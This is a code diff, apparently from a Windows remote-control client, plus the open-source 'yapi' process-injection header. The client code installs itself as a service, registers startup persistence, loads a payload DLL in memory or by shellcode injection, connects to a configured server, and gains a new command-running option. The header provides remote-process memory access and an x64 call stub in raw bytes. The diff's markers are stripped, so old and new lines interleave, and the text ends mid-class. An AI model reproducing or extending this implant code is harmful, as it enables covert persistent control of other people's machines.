int main(int argc, const char *argv[])
|
||||
{
|
||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
|
||||
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false;
|
||||
if (!runCmd) {
|
||||
InitWindowsService(NewService(
|
||||
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
|
||||
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
|
||||
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
|
||||
bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || IsSystemInSession0();
|
||||
isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || (IsSystemInSession0()&&g_ConnectAddress.iStartup != Startup_TestRunSystem);
|
||||
bool lockFile = g_ConnectAddress.iStartup != Startup_TestRunMsc && g_ConnectAddress.iStartup != Startup_TestRunSystem && !IsSystemInSession0();
|
||||
// 注册启动项
|
||||
int r = RegisterStartup(
|
||||
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
|
||||
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
|
||||
!isService, g_ConnectAddress.runasAdmin, Logf);
|
||||
lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf);
|
||||
if (r <= 0) {
|
||||
if (g_ConnectAddress.iStartup == Startup_DLL) {
|
||||
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
|
||||
@@ -360,6 +366,7 @@ int main(int argc, const char *argv[])
|
||||
}
|
||||
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
||||
}
|
||||
}
|
||||
|
||||
status = 0;
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
@@ -376,7 +383,8 @@ int main(int argc, const char *argv[])
|
||||
do {
|
||||
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
|
||||
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
|
||||
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()),
|
||||
(argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0 && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "");
|
||||
if (ret == 1) {
|
||||
Mprintf("结束运行.\n");
|
||||
Sleep(1000);
|
||||
@@ -397,7 +405,7 @@ int main(int argc, const char *argv[])
|
||||
}
|
||||
|
||||
// 传入命令行参数: IP 和 端口.
|
||||
BOOL Run(const char* argv1, int argv2)
|
||||
BOOL Run(const char* argv1, int argv2, const std::string &runCmd)
|
||||
{
|
||||
BOOL result = FALSE;
|
||||
char path[_MAX_PATH], * p = path;
|
||||
@@ -438,7 +446,7 @@ BOOL Run(const char* argv1, int argv2)
|
||||
case Startup_DLL:
|
||||
runner = new DefaultDllRunner;
|
||||
break;
|
||||
case Startup_MEMDLL:
|
||||
case Startup_MEMDLL: case Startup_TestRunSystem :
|
||||
runner = new MemoryDllRunner;
|
||||
break;
|
||||
case Startup_InjSC:
|
||||
@@ -455,6 +463,8 @@ BOOL Run(const char* argv1, int argv2)
|
||||
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
|
||||
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
|
||||
CmdRunner cmd = hDll ? CmdRunner(runner->GetProcAddress(hDll, "RunCommand")) : NULL;
|
||||
int nCmd = runCmd.empty() ? 0 : std::atoi(runCmd.c_str());
|
||||
if (NULL == run) {
|
||||
if (hDll) runner->FreeLibrary(hDll);
|
||||
Mprintf("加载动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError());
|
||||
@@ -476,6 +486,13 @@ BOOL Run(const char* argv1, int argv2)
|
||||
port = cfg.Get1Int("settings", "port", ';', 6543);
|
||||
}
|
||||
Mprintf("[server] %s:%d\n", ip, port);
|
||||
if (nCmd) {
|
||||
BYTE buf[] = {nCmd};
|
||||
if (cmd) nCmd = cmd(buf, 1);
|
||||
result = 1;
|
||||
Mprintf("Finish run command. Result: %d\n", nCmd);
|
||||
break;
|
||||
}
|
||||
do {
|
||||
run(ip, port);
|
||||
while (bStop && !bStop() && 0 == status)
|
||||
|
||||
+915
@@ -0,0 +1,915 @@
|
||||
/*
|
||||
yapi -- Yet Another Process Injector / Your API
|
||||
A fusion library that reduce differences between x64, wow64 and x86 processes based on rewolf-wow64ext.
|
||||
|
||||
Copyright (c) 2010-2018 <http://ez8.co> <orca.zhang@yahoo.com>
|
||||
This library is released under the MIT License.
|
||||
|
||||
Please see LICENSE file or visit https://github.com/ez8-co/yapi for details.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#define WIN32_NO_STATUS
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
#include <tchar.h>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
#include <TlHelp32.h>
|
||||
|
||||
namespace detail {
|
||||
static HMODULE hNtDll = LoadLibrary(_T("ntdll.dll"));
|
||||
static HANDLE hCurProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
|
||||
|
||||
inline BOOL Is64BitOS()
|
||||
{
|
||||
SYSTEM_INFO systemInfo = { 0 };
|
||||
GetNativeSystemInfo(&systemInfo);
|
||||
return systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64
|
||||
|| systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64;
|
||||
}
|
||||
static const BOOL is64BitOS = Is64BitOS();
|
||||
|
||||
struct GCBase
|
||||
{
|
||||
virtual DWORD64 toDWORD64() = 0;
|
||||
virtual void gc() = 0;
|
||||
};
|
||||
struct GCHelper
|
||||
{
|
||||
~GCHelper() {
|
||||
for (size_t i = 0; i < _ptrs.size(); i++) {
|
||||
_ptrs[i]->gc();
|
||||
delete _ptrs[i];
|
||||
}
|
||||
}
|
||||
DWORD64 add(GCBase* ptr) { _ptrs.push_back(ptr); return ptr->toDWORD64(); }
|
||||
private:
|
||||
std::vector<GCBase*> _ptrs;
|
||||
};
|
||||
}
|
||||
|
||||
namespace yapi {
|
||||
|
||||
typedef std::basic_string<TCHAR, std::char_traits<TCHAR>, std::allocator<TCHAR> > tstring;
|
||||
|
||||
#ifndef UNICODE
|
||||
static std::string _W2T(const wchar_t* wcs)
|
||||
{
|
||||
int len = ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, NULL, 0, 0, 0);
|
||||
std::string ret(len, 0);
|
||||
assert(0 != ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, &ret[0], len, 0, 0));
|
||||
ret.resize(len - 1);
|
||||
return ret;
|
||||
}
|
||||
#else
|
||||
#define _W2T(str) std::wstring(str)
|
||||
#endif
|
||||
|
||||
#define REPEAT_0(macro)
|
||||
#define REPEAT_1(macro) REPEAT_0(macro)
|
||||
#define REPEAT_2(macro) REPEAT_1(macro) macro(1)
|
||||
#define REPEAT_3(macro) REPEAT_2(macro) macro(2)
|
||||
#define REPEAT_4(macro) REPEAT_3(macro) macro(3)
|
||||
#define REPEAT_5(macro) REPEAT_4(macro) macro(4)
|
||||
#define REPEAT_6(macro) REPEAT_5(macro) macro(5)
|
||||
#define REPEAT_7(macro) REPEAT_6(macro) macro(6)
|
||||
#define REPEAT_8(macro) REPEAT_7(macro) macro(7)
|
||||
#define REPEAT_9(macro) REPEAT_8(macro) macro(8)
|
||||
#define REPEAT_10(macro) REPEAT_9(macro) macro(9)
|
||||
#define REPEAT_11(macro) REPEAT_10(macro) macro(10)
|
||||
#define REPEAT_12(macro) REPEAT_11(macro) macro(11)
|
||||
#define REPEAT_13(macro) REPEAT_12(macro) macro(12)
|
||||
#define REPEAT_14(macro) REPEAT_13(macro) macro(13)
|
||||
#define REPEAT_15(macro) REPEAT_14(macro) macro(14)
|
||||
#define REPEAT_16(macro) REPEAT_15(macro) macro(15)
|
||||
#define REPEAT_17(macro) REPEAT_16(macro) macro(16)
|
||||
#define REPEAT_18(macro) REPEAT_17(macro) macro(17)
|
||||
#define REPEAT_19(macro) REPEAT_18(macro) macro(18)
|
||||
#define REPEAT_20(macro) REPEAT_19(macro) macro(19)
|
||||
|
||||
#define END_MACRO_0(macro)
|
||||
#define END_MACRO_1(macro) macro(1)
|
||||
#define END_MACRO_2(macro) macro(2)
|
||||
#define END_MACRO_3(macro) macro(3)
|
||||
#define END_MACRO_4(macro) macro(4)
|
||||
#define END_MACRO_5(macro) macro(5)
|
||||
#define END_MACRO_6(macro) macro(6)
|
||||
#define END_MACRO_7(macro) macro(7)
|
||||
#define END_MACRO_8(macro) macro(8)
|
||||
#define END_MACRO_9(macro) macro(9)
|
||||
#define END_MACRO_10(macro) macro(10)
|
||||
#define END_MACRO_11(macro) macro(11)
|
||||
#define END_MACRO_12(macro) macro(12)
|
||||
#define END_MACRO_13(macro) macro(13)
|
||||
#define END_MACRO_14(macro) macro(14)
|
||||
#define END_MACRO_15(macro) macro(15)
|
||||
#define END_MACRO_16(macro) macro(16)
|
||||
#define END_MACRO_17(macro) macro(17)
|
||||
#define END_MACRO_18(macro) macro(18)
|
||||
#define END_MACRO_19(macro) macro(19)
|
||||
#define END_MACRO_20(macro) macro(20)
|
||||
|
||||
#define REPEAT(n, macro, end_macro) REPEAT_##n (macro) END_MACRO_##n(end_macro)
|
||||
|
||||
#define __ARG(n) P ## n
|
||||
#define __PARAM(n) p ## n
|
||||
#define __ARG_DECL(n) __ARG(n) __PARAM(n)
|
||||
|
||||
#define TEMPLATE_ARG(n) typename __ARG(n)
|
||||
#define VOID_TEMPLATE_ARGS(n) typename __ARG(n),
|
||||
|
||||
#define ARG_DECL(n) __ARG_DECL(n) ,
|
||||
#define END_ARG_DECL(n) __ARG_DECL(n)
|
||||
|
||||
#define DECL_VOID_TEMPLATE_ARGS(n) REPEAT(n, VOID_TEMPLATE_ARGS, TEMPLATE_ARG)
|
||||
#define DECL_PARAMS_LIST(n) REPEAT(n, ARG_DECL, END_ARG_DECL)
|
||||
|
||||
namespace {
|
||||
template <class T>
|
||||
struct _UNICODE_STRING_T {
|
||||
union {
|
||||
struct {
|
||||
WORD Length;
|
||||
WORD MaximumLength;
|
||||
};
|
||||
T dummy;
|
||||
};
|
||||
T Buffer;
|
||||
};
|
||||
|
||||
template <typename T>
|
||||
struct _LIST_ENTRY_T {
|
||||
T Flink;
|
||||
T Blink;
|
||||
};
|
||||
|
||||
template <typename T>
|
||||
struct _PEB_T {
|
||||
T dummy01;
|
||||
T Mutant;
|
||||
T ImageBaseAddress;
|
||||
T Ldr;
|
||||
// omit unused fields
|
||||
};
|
||||
|
||||
typedef _PEB_T<DWORD> PEB32;
|
||||
typedef _PEB_T<DWORD64> PEB64;
|
||||
|
||||
typedef struct _PROCESS_BASIC_INFORMATION32 {
|
||||
NTSTATUS ExitStatus;
|
||||
UINT32 PebBaseAddress;
|
||||
UINT32 AffinityMask;
|
||||
UINT32 BasePriority;
|
||||
UINT32 UniqueProcessId;
|
||||
UINT32 InheritedFromUniqueProcessId;
|
||||
} PROCESS_BASIC_INFORMATION32;
|
||||
|
||||
typedef struct _PROCESS_BASIC_INFORMATION64 {
|
||||
NTSTATUS ExitStatus;
|
||||
UINT32 Reserved0;
|
||||
UINT64 PebBaseAddress;
|
||||
UINT64 AffinityMask;
|
||||
UINT32 BasePriority;
|
||||
UINT32 Reserved1;
|
||||
UINT64 UniqueProcessId;
|
||||
UINT64 InheritedFromUniqueProcessId;
|
||||
} PROCESS_BASIC_INFORMATION64;
|
||||
|
||||
template <class T>
|
||||
struct _PEB_LDR_DATA_T {
|
||||
DWORD Length;
|
||||
DWORD Initialized;
|
||||
T SsHandle;
|
||||
_LIST_ENTRY_T<T> InLoadOrderModuleList;
|
||||
// omit unused fields
|
||||
};
|
||||
|
||||
typedef _PEB_LDR_DATA_T<DWORD> PEB_LDR_DATA32;
|
||||
typedef _PEB_LDR_DATA_T<DWORD64> PEB_LDR_DATA64;
|
||||
|
||||
template <class T>
|
||||
struct _LDR_DATA_TABLE_ENTRY_T {
|
||||
_LIST_ENTRY_T<T> InLoadOrderLinks;
|
||||
_LIST_ENTRY_T<T> InMemoryOrderLinks;
|
||||
_LIST_ENTRY_T<T> InInitializationOrderLinks;
|
||||
T DllBase;
|
||||
T EntryPoint;
|
||||
union {
|
||||
DWORD SizeOfImage;
|
||||
T dummy01;
|
||||
};
|
||||
_UNICODE_STRING_T<T> FullDllName;
|
||||
_UNICODE_STRING_T<T> BaseDllName;
|
||||
// omit unused fields
|
||||
};
|
||||
|
||||
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD> LDR_DATA_TABLE_ENTRY32;
|
||||
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD64> LDR_DATA_TABLE_ENTRY64;
|
||||
|
||||
size_t tcslen(const char* str) { return strlen(str); }
|
||||
size_t tcslen(const wchar_t* str) { return wcslen(str); }
|
||||
}
|
||||
|
||||
inline DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName);
|
||||
|
||||
#ifdef _WIN64
|
||||
typedef NTSTATUS(WINAPI *NT_QUERY_INFORMATION_PROCESS)(
|
||||
HANDLE ProcessHandle, ULONG ProcessInformationClass,
|
||||
PVOID ProcessInformation, UINT32 ProcessInformationLength,
|
||||
UINT32 * ReturnLength);
|
||||
|
||||
static NT_QUERY_INFORMATION_PROCESS NtWow64QueryInformationProcess64 = (NT_QUERY_INFORMATION_PROCESS)GetProcAddress((HMODULE)detail::hNtDll, "NtQueryInformationProcess");
|
||||
#define NtWow64ReadVirtualMemory64 ReadProcessMemory
|
||||
|
||||
#else
|
||||
|
||||
namespace {
|
||||
typedef NTSTATUS(WINAPI *NT_WOW64_QUERY_INFORMATION_PROCESS64)(
|
||||
HANDLE ProcessHandle, UINT32 ProcessInformationClass,
|
||||
PVOID ProcessInformation, UINT32 ProcessInformationLength,
|
||||
UINT32* ReturnLength);
|
||||
|
||||
typedef NTSTATUS(WINAPI *NT_WOW64_READ_VIRTUAL_MEMORY64)(
|
||||
HANDLE ProcessHandle, PVOID64 BaseAddress,
|
||||
PVOID BufferData, UINT64 BufferLength,
|
||||
PUINT64 ReturnLength);
|
||||
|
||||
static NT_WOW64_QUERY_INFORMATION_PROCESS64 NtWow64QueryInformationProcess64 = (NT_WOW64_QUERY_INFORMATION_PROCESS64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64QueryInformationProcess64");
|
||||
static NT_WOW64_READ_VIRTUAL_MEMORY64 NtWow64ReadVirtualMemory64 = (NT_WOW64_READ_VIRTUAL_MEMORY64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64ReadVirtualMemory64");
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
inline DWORD64 WINAPI GetModuleHandle(HANDLE hProcess, const TCHAR* moduleName)
|
||||
{
|
||||
if (!moduleName) return 0;
|
||||
if (!hProcess) hProcess = detail::hCurProcess;
|
||||
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, GetProcessId(hProcess));
|
||||
if (hSnap == INVALID_HANDLE_VALUE) return 0;
|
||||
MODULEENTRY32 mod = { sizeof(mod) };
|
||||
if (Module32First(hSnap, &mod)) {
|
||||
do {
|
||||
if (!_tcsicmp(mod.szModule, moduleName)) {
|
||||
CloseHandle(hSnap);
|
||||
return (DWORD64)mod.hModule;
|
||||
}
|
||||
} while (Module32Next(hSnap, &mod));
|
||||
}
|
||||
CloseHandle(hSnap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName)
|
||||
{
|
||||
if (!hModule || !funcName) return 0;
|
||||
if (!hProcess) hProcess = detail::hCurProcess;
|
||||
|
||||
IMAGE_DOS_HEADER idh;
|
||||
NTSTATUS status = ReadProcessMemory(hProcess, (PVOID)hModule, (PVOID)&idh, sizeof(idh), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
IMAGE_NT_HEADERS32 inh;
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (!idd.VirtualAddress)return 0;
|
||||
|
||||
IMAGE_EXPORT_DIRECTORY ied;
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
std::vector<DWORD> nameTable(ied.NumberOfNames);
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
|
||||
std::string func(strlen(funcName), 0);
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
if (func == funcName) {
|
||||
WORD ord = 0;
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
DWORD rva = 0;
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
return hModule + rva;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
inline DWORD64 WINAPI GetModuleHandle64(HANDLE hProcess, const TCHAR* moduleName)
|
||||
{
|
||||
if (!moduleName) return 0;
|
||||
if (!hProcess) hProcess = detail::hCurProcess;
|
||||
|
||||
#ifndef _WIN64
|
||||
if (!NtWow64QueryInformationProcess64 || !NtWow64ReadVirtualMemory64) return 0;
|
||||
#endif
|
||||
|
||||
PROCESS_BASIC_INFORMATION64 pbi = { 0 };
|
||||
const int ProcessBasicInformation = 0;
|
||||
NTSTATUS status = NtWow64QueryInformationProcess64(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
PEB64 peb;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
PEB_LDR_DATA64 ldr;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)peb.Ldr, (PVOID)&ldr, sizeof(ldr), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
DWORD64 LastEntry = peb.Ldr + offsetof(PEB_LDR_DATA64, InLoadOrderModuleList);
|
||||
|
||||
LDR_DATA_TABLE_ENTRY64 head;
|
||||
head.InLoadOrderLinks.Flink = ldr.InLoadOrderModuleList.Flink;
|
||||
do {
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.InLoadOrderLinks.Flink, (PVOID)&head, sizeof(head), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
std::wstring modName((size_t)head.BaseDllName.MaximumLength, 0);
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.BaseDllName.Buffer, (PVOID)&modName[0], head.BaseDllName.MaximumLength, NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
if (!_tcsicmp(moduleName, _W2T(modName.c_str()).c_str()))
|
||||
return head.DllBase;
|
||||
} while (head.InLoadOrderLinks.Flink != LastEntry);
|
||||
return 0;
|
||||
}
|
||||
|
||||
inline DWORD64 WINAPI GetProcAddress64(HANDLE hProcess, DWORD64 hModule, const char* funcName)
|
||||
{
|
||||
if (!hModule || !funcName) return 0;
|
||||
if (!hProcess) hProcess = detail::hCurProcess;
|
||||
|
||||
#ifndef _WIN64
|
||||
if (!NtWow64ReadVirtualMemory64) return 0;
|
||||
#endif
|
||||
|
||||
IMAGE_DOS_HEADER idh;
|
||||
NTSTATUS status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)hModule, (PVOID)&idh, sizeof(idh), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
IMAGE_NT_HEADERS64 inh;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (!idd.VirtualAddress)return 0;
|
||||
|
||||
IMAGE_EXPORT_DIRECTORY ied;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
std::vector<DWORD> nameTable(ied.NumberOfNames);
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
|
||||
std::string func(strlen(funcName), 0);
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
if (func == funcName) {
|
||||
WORD ord = 0;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
DWORD rva = 0;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
return hModule + rva;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
inline DWORD64 GetNtDll64()
|
||||
{
|
||||
static DWORD64 hNtdll64 = 0;
|
||||
if(hNtdll64) return hNtdll64;
|
||||
hNtdll64 = GetModuleHandle64(detail::hCurProcess, _T("ntdll.dll"));
|
||||
return hNtdll64;
|
||||
}
|
||||
|
||||
#ifdef _WIN64
|
||||
|
||||
#define SetLastError64 SetLastError
|
||||
#define VirtualQueryEx64 VirtualQueryEx
|
||||
#define VirtualAllocEx64 VirtualAllocEx
|
||||
#define VirtualFreeEx64 VirtualFreeEx
|
||||
#define VirtualProtectEx64 VirtualProtectEx
|
||||
#define ReadProcessMemory64 ReadProcessMemory
|
||||
#define WriteProcessMemory64 WriteProcessMemory
|
||||
#define LoadLibrary64 LoadLibrary
|
||||
#define CreateRemoteThread64 CreateRemoteThread
|
||||
|
||||
#else
|
||||
|
||||
namespace {
|
||||
#define _(x) __asm __emit (x)
|
||||
__declspec(naked) DWORD64 x64Call(DWORD64 func, int argC, ...)
|
||||
{
|
||||
// see X64Call_disassemble for details
|
||||
_(0x55)_(0x8b)_(0xec)_(0x8b)_(0x4d)_(0x10)_(0x8d)_(0x55)_(0x14)_(0x83)_(0xec)_(0x40)_(0x53)_(0x56)_(0x57)_(0x85)
|
||||
_(0xc9)_(0x7e)_(0x15)_(0x8b)_(0x45)_(0x14)_(0x8d)_(0x55)_(0x1c)_(0x49)_(0x89)_(0x45)_(0xf0)_(0x8b)_(0x45)_(0x18)
|
||||
_(0x89)_(0x4d)_(0x10)_(0x89)_(0x45)_(0xf4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xf0)
|
||||
_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)_(0x45)
|
||||
_(0xe8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xec)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)
|
||||
_(0xe8)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)
|
||||
_(0x45)_(0xe0)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xe4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)
|
||||
_(0x45)_(0xe0)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)
|
||||
_(0x89)_(0x45)_(0xd8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xdc)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)
|
||||
_(0x13)_(0x45)_(0xd8)_(0x8b)_(0xc2)_(0xc7)_(0x45)_(0xfc)_(0x00)_(0x00)_(0x00)_(0x00)_(0x99)_(0x0f)_(0x57)_(0xc0)
|
||||
_(0x89)_(0x45)_(0xc0)_(0x8b)_(0xc1)_(0x89)_(0x55)_(0xc4)_(0x99)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xc8)_(0x89)_(0x45)
|
||||
_(0xd0)_(0x89)_(0x55)_(0xd4)_(0xc7)_(0x45)_(0xf8)_(0x00)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8c)_(0x65)_(0xf8)_(0xb8)
|
||||
_(0x2b)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8e)_(0xe0)_(0x89)_(0x65)_(0xfc)_(0x83)_(0xe4)_(0xf0)_(0x6a)_(0x33)_(0xe8)
|
||||
_(0x00)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x05)_(0xcb)_(0x48)_(0x8b)_(0x4d)_(0xf0)_(0x48)_(0x8b)_(0x55)
|
||||
_(0xe8)_(0xff)_(0x75)_(0xe0)_(0x49)_(0x58)_(0xff)_(0x75)_(0xd8)_(0x49)_(0x59)_(0x48)_(0x8b)_(0x45)_(0xd0)_(0xa8)
|
||||
_(0x01)_(0x75)_(0x03)_(0x83)_(0xec)_(0x08)_(0x57)_(0x48)_(0x8b)_(0x7d)_(0xc0)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x16)
|
||||
_(0x48)_(0x8d)_(0x7c)_(0xc7)_(0xf8)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x0c)_(0xff)_(0x37)_(0x48)_(0x83)_(0xef)_(0x08)
|
||||
_(0x48)_(0x83)_(0xe8)_(0x01)_(0xeb)_(0xef)_(0x48)_(0x83)_(0xec)_(0x20)_(0xff)_(0x55)_(0x08)_(0x48)_(0x8b)_(0x4d)
|
||||
_(0xd0)_(0x48)_(0x8d)_(0x64)_(0xcc)_(0x20)_(0x5f)_(0x48)_(0x89)_(0x45)_(0xc8)_(0xe8)_(0x00)_(0x00)_(0x00)_(0x00)
|
||||
_(0xc7)_(0x44)_(0x24)_(0x04)_(0x23)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x0d)_(0xcb)_(0x66)_(0x8c)_(0xd8)
|
||||
_(0x66)_(0x8e)_(0xd0)_(0x8b)_(0x65)_(0xfc)_(0x66)_(0x8b)_(0x45)_(0xf8)_(0x66)_(0x8e)_(0xe0)_(0x8b)_(0x45)_(0xc8)
|
||||
_(0x8b)_(0x55)_(0xcc)_(0x5f)_(0x5e)_(0x5b)_(0x8b)_(0xe5)_(0x5d)_(0xc3)
|
||||
}
|
||||
#undef _
|
||||
}
|
||||
|
||||
class X64Call
|
||||
{
|
||||
template<typename char_t>
|
||||
struct StringHelper : detail::GCBase
|
||||
{
|
||||
StringHelper(const char_t* v) : name(0) {
|
||||
name = new _UNICODE_STRING_T<DWORD64>;
|
||||
name->Buffer = (DWORD64)v;
|
||||
name->Length = (WORD)tcslen(v) * sizeof(char_t);
|
||||
name->MaximumLength = name->Length;
|
||||
}
|
||||
virtual void gc() { delete name; }
|
||||
virtual DWORD64 toDWORD64() { return (DWORD64)name; }
|
||||
private:
|
||||
_UNICODE_STRING_T<DWORD64>* name;
